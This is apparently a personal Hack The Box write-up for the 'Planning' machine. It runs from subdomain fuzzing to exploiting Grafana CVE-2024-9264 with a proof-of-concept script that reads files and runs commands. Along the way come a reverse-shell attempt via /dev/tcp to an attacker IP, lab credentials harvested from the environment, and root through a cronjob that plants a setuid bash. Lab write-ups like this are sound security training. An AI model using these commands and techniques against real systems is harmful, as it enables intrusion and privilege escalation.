Planning - HTB Machine
Planning
is a Hack The Box machine released on 10 May 2025
Summary (How?)
Planning is a box with a huge fuzzing to do in order to find a Grafana instance, which was vulnerable to CVE-2024-9264, a critical vulnerability allowing arbitrary command execution via unsanitized SQL input to the DuckDB CLI. Using a proof-of-concept exploit, I was able to read files and execute commands, confirming access to the Grafana container but not the host system. Further enumeration revealed valid credentials for the user enzo, which allowed SSH access to the host system.
Once on the host, I identified a service called Crontab-UI running on localhost port 8000, protected by Basic Auth. Using previously discovered credentials, I accessed the Crontab-UI interface and created a malicious cronjob to deploy a SETUID-enabled bash binary in the /tmp
directory.
Enumeration
nmap
┌──(kali㉿kali)-[~/htb-machines/planning]
└─$ cat nmap-planning.htb
# Nmap 7.95 scan initiated Sat May 10 18:36:21 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-planning.htb planning.htb
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 10 18:37:28 2025 -- 1 IP address (1 host up) scanned in 67.24 seconds
Browsing the web app
Discovered pages
/index.php
→ POST request with parameterkeyword
=asdf/about.php
/detail.php
/course.php
/contact.php
/enroll.php
→ POST request with parametersfull_name
=asdf&email
=asdfas%40asdf.jcom&phone
=asdfsd
All of them were just a waste of time. The functionality was very limited and all of my POST requests returned valid data. Also, wappalyzer identified very few technologies
Fuzzing
As the initial page didn’t have much I decided to fuzz some other pages and subdomains. All of these were done using ffuf
.
Tried
-
Directory fuzzing with
SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
-
vhost fuzzing
SecLists/Discovery/DNS/subdomains-top1million-5000.txt
-
page fuzzing
SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
-
login page fuzzing
SecLists/Discovery/Web-Content/Logins.fuzz.txt
-
burp parameters names
ffuf -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u "[http://planning.htb/index.php?FUZZ=login](http://planning.htb/index.php?FUZZ=login)" -fs 23914
-
command injection & LFI
/opt/SecLists/Fuzzing/command-injection-commix.txt:FUZZ -X POST -d "keyword=FUZZ"
Grafana
I decided to try with a bigger wordlist… And it worked
┌──(linkfinder-env)─(kali㉿kali)-[~/htb-machines/planning/LinkFinder]
└─$ ffuf -w /opt/SecLists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt:FUZZ -u http://planning.htb -H 'Host: FUZZ.planning.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 170ms]
It was also possible to discover it by using bitquark-subdomains-top100000.txt
Here we have to remember that we are provided with the credentials
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
Let’s check Grafana’s version, which is v11.0.0 (83b9528bce)
This will be useful to look for any CVEs.
CVE-2024-9264 - RCE & User flag
While researching the installed Grafana version (v11.0.0 - 83b9528bce
), we identified a critical vulnerability: CVE-2024-9264, which allows command injection and local file inclusion via SQL expressions.
This vulnerability affects a new experimental feature called SQL Expressions, introduced in Grafana 11. It lets users post-process query results by running custom SQL queries using DuckDB. Grafana sends both the query and the data to the DuckDB command-line interface (CLI) for execution.
The issue is that the SQL input isn’t properly sanitized, allowing an attacker to inject OS commands or read arbitrary files from the system.
Root cause: Unfiltered input passed to the DuckDB CLI, enabling remote code execution (RCE) or file inclusion.
The CVSS v3.1 score for this vulnerability is 9.9 Critical.
Important caveat: Grafana doesn’t include DuckDB by default. For the exploit to work:
- DuckDB must be installed on the server.
- DuckDB must be available in Grafana’s PATH.
If DuckDB isn’t present, the system is not vulnerable. More information in this blog.
Let’s try luck with a PoC. And… we can read files!
┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
Root shell (not yet)
We’re root… Just like that?
┌──(linkfinder-env)─(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "whoami" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: whoami
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('whoami >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root
I tried establishing a reverse shell but it failed
┌──(linkfinder-env)─(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: 0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196
[-] Unexpected response format:
[-] {
"results": {
"B": {
"error": "exit status 1sh: 1: Syntax error: Bad fd number\nIO Error: Pipe process exited with non-zero exit code=\"2\": 0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196
>/tmp/grafana_cmd_output 2>&1 |\n",
"errorSource": "",
"status": 500,
"frames": []
}
}
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root
Let’s see if we can find where the flags are
┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "find / -name *.txt 2>/dev/null" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: find / -name *.txt 2>/dev/null
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('find / -name *.txt 2>/dev/null >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
/usr/share/grafana/public/img/icons/unicons/NOTICE.txt
/usr/share/grafana/public/img/icons/solid/NOTICE.txt
/usr/share/grafana/public/app/plugins/datasource/jaeger/dist/module.js.LICENSE.txt
/usr/share/grafana/public/app/plugins/datasource/azuremonitor/dist/module.js.LICENSE.txt
/usr/share/grafana/public/app/plugins/datasource/tempo/dist/module.js.LICENSE.txt
/usr/share/grafana/public/robots.txt
/usr/share/grafana/public/emails/invited_to_org.txt
/usr/share/grafana/public/emails/signup_started.txt
/usr/share/grafana/public/emails/ng_alert_notification.txt
/usr/share/grafana/public/emails/reset_password.txt
/usr/share/grafana/public/emails/alert_notification.txt
/usr/share/grafana/public/emails/welcome_on_signup.txt
/usr/share/grafana/public/emails/new_user_invite.txt
/usr/share/grafana/public/emails/verify_email.txt
Not so fast… I think we’re not on the machine, but in a docker container instead. (Otherwise the find command should’ve given us the flags location
┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "ps aux" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ps aux
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ps aux >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.7 7.8 1511432 149440 ? Ssl 16:51 0:02 grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
root 293 0.0 1.1 407968 22656 ? Sl 16:57 0:00 /usr/local/bin/duckdb
root 299 0.0 0.0 2892 1664 ? S 16:57 0:00 sh -c ps aux >/tmp/grafana_cmd_output 2>&1
root 300 0.0 0.1 7064 2944 ? R 16:57 0:00 ps aux
This confirms our suspicions: the process with PID 1 is the Grafana server, not systemd or init
Some more enumeration and we found credentials…
┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('env >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
[...]
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
[...]
Maybe we can ssh into the host with these?
┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
enzo@planning:~$ ls
user.txt
User flag: a285160769f6c525d6e2653ec7c68bfd
Root flag - crontab-ui
Some basic enum and we find
enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Which contains the password P4ssw0rdS0pRi0T3c
for the /var/backups/grafana.tar.gz.zip
file, but it does not exist
enzo@planning:~$ ls -l /var/backups/grafana.tar.gz.zip
ls: cannot access '/var/backups/grafana.tar.gz.zip': No such file or directory
Some more enumeration and at the end of LinEnum.sh
we have
[+] Looks like we're hosting Docker:
Docker version 26.1.3, build 26.1.3-0ubuntu1~24.04.1
[-] Anything juicy in the Dockerfile:
-rw-r--r-- 1 root root 596 Feb 28 19:03 /usr/lib/node_modules/crontab-ui/Dockerfile
[-] Anything juicy in docker-compose.yml:
-rw-r--r-- 1 root root 142 Feb 28 19:03 /usr/lib/node_modules/crontab-ui/docker-compose.yml
Which shows that there is some sort of crontab ui running on port 8000
enzo@planning:/opt$ cat /usr/lib/node_modules/crontab-ui/docker-compose.yml
version: '3.7'
services:
crontab-ui:
build: .
image: alseambusher/crontab-ui
network_mode: bridge
ports:
- 8000:8000
Let’s check if it’s running
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:44227 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Crontab-ui
There is a service for creating crontabs that has some sort of user interface. It’s listening on localhost port 8000 on the host. So let’s try to forward it
ssh -L 8000:127.0.0.1:8000 [email protected]
This wasn’t working…Something was going on with the machine and it refused me to connect. When i curl from localhost I would get the follwing (nothing)
enzo@planning:~$ curl localhost:8000
enzo@planning:~$ curl -v localhost:8000 -H "Host: planning.htb"
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8000...
* connect to ::1 port 8000 from ::1 port 38200 failed: Connection refused
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000
> GET / HTTP/1.1
> Host: planning.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< Date: Mon, 12 May 2025 19:10:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
When I got that 401 unauthorized
I realized what was going on… Basic Auth with HTTP, so I decided to try with the credentials we found in the crontab.db
file root:P4ssw0rdS0pRi0T3c
┌──(kali㉿kali)-[~/htb-machines/planning]
└─$ curl -v -u root:P4ssw0rdS0pRi0T3c http://127.0.0.1:8000 | head -n 10
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 127.0.0.1:8000...
* Connected to 127.0.0.1 (127.0.0.1) port 8000
* using HTTP/1.x
* Server auth using Basic with user 'root'
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> Authorization: Basic cm9vdDpQNHNzdzByZFMwcFJpMFQzYw==
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0< HTTP/1.1 200 OK
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 12925
< ETag: W/"327d-sd9V+HVAFFDdOCynU+MzbjgbceM"
< Date: Mon, 12 May 2025 19:16:14 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
{ [12925 bytes data]
100 12925 100 1292<!doctype html>
5<head>
0 <title>Crontab UI</title>
<script src="jquery.js"></script>
<script src="script.js"></script>
<script src="bootstrap.min.js"></script>
<script src="mailconfig.js"></script>
0<script type="text/javascript" src="https://cdn.datatables.net/v/bs/dt-1.10.12/datatables.min.js"></script>
<link rel="stylesheet" href="css/bootstrap.min.css" />
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.12/css/dataTables.bootstrap.min.css"/>
100 12925 100 12925 0 0 3688 0 0:00:03 0:00:03 --:--:-- 3687
And it worked! So I added the authorization header to my request using ModHeader
extension
And there we go… I did not understand why basic auth was not working properly. After getting the page like this and reloading without ModHeader it prompted Basic Auth
I don’t have a clue what changed since the machine did not restart
From here we can see both cronjobs we were looking at earlier
And they are executed as root, so we can create one that give us privileged access.
For this, let’s create a cronjob that copies a SETUID bash binary into /temp
But why? I mean just a bash binary won’t give us access right? right…? Well, it does. The explanation for this are the binary /tmp/bash
has the setuid bit (chmod u+s
), which means that it runs with the effective UID of the file owner (root in this case).
So we save and run
And there it is…
enzo@planning:/tmp$ ls -la
total 1464
drwxrwxrwt 12 root root 4096 May 12 19:35 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
-rwsr-xr-x 1 root root 1446024 May 12 19:35 bash
Now, to execute it we must use the -p flag so that bash does not drop permissions
From the bash man page
“If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.”
To sum up:
- When a bash binary is setuid/setgid, launching it would usually elevate privileges.
- For security reasons, Bash will drop these privileges by default, resetting the effective UID to the real UID.
- It will also ignore certain environment variables and files to avoid privilege escalation via environment tricks.
Finally…
enzo@planning:/tmp$ ./bash -p
bash-5.2# whoami
root
bash-5.2# cat /root/root.txt
d14c2ef88ec0b8febed079c3d90e9cdc